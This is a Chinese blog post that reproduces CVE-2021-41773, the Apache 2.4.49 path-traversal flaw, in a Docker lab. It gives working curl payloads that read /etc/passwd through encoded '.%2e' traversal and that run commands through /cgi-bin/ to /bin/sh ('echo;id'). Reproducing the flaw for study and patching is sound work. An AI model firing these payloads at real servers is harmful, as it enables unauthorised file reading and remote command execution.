Apache HTTP Server路径穿越漏洞复现(CVE-2021-41773)

Apache HTTP Server路径穿越漏洞复现(CVE-2021-41773)

前言:

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。

此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。特点。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。

由于这个漏洞的简单利用,互联网上已经有几个公开的概念证明脚本可用。也可以使用 curl 制作一个简单的演示,因为攻击者只需要返回足够多的目录即可访问服务器的根目录,只需稍作修改即可破坏 URL 的正常化。

如果使用以 /cgi-bin/ 为前缀的 URL 启用 mod_cgi,也可以执行远程代码执行,这是现代 Web 技术中未使用的功能。但是,许多较旧的 Web 部署仍然依赖它来运行。

第一张图片显示攻击者描述如何利用该漏洞,以及如何缓解它的建议。在第二张图片中,另一个攻击者成功利用该漏洞获取机器上的用户列表,并请求帮助利用它在机器上立足:

易受攻击的版本于 2021 年 9 月 15 日发布,但幸运的是它尚未包含在任何主要的 Linux 发行版存储库中(例如,Ubuntu 仍为 2.4.41)。根据 Shodan 的说法,受影响版本的 112,000 个活跃部署在公共互联网上,而 Apache 的活跃安装总数为 1,719,000 个。

 

介绍:

Apache HTTP Server(简称 Apache)是开源的 Web 服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。

漏洞简述:

版本:     

漏洞版本一定要是等于=2.4.49的 

利用条件:

穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的:<Directory />Require all denied</Directory>

满足以上两个条件即可造成路径穿越,可以进行任意文件读取
注意:这里的/icons/必须是一个存在且可访问的目录

漏洞复现:

本次漏洞复现用docker来进行安装

sudo docker pull blueteamsteve/cve-2021-41773:no-cgid

sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

详细漏洞环境复现参照vulhub搭建
https://hub.docker.com/r/blueteamsteve/cve-2021-41773

payload

curl -v --path-as-is http://your-ip:your-port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令

ScriptAlias与Alias指令非常相似,都是定义了映射到一个特定目录的URL前缀,两者一般都用于指定位于DocumentRoot以外的目录,其不同之处是ScriptAlias又多了一层含义,即URL前缀后面的任何文件都被视为CGI程序。所以,上述配置会指示Apache任何以/cgi-bin/开头的资源都将映射到/usr/local/apache2/cgi-bin/目录中,且视之为CGI程序

payload:

curl --data "echo;id" 'http://your-ip:your-port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
 

 payload:

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

echo;cat /etc/passwd

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值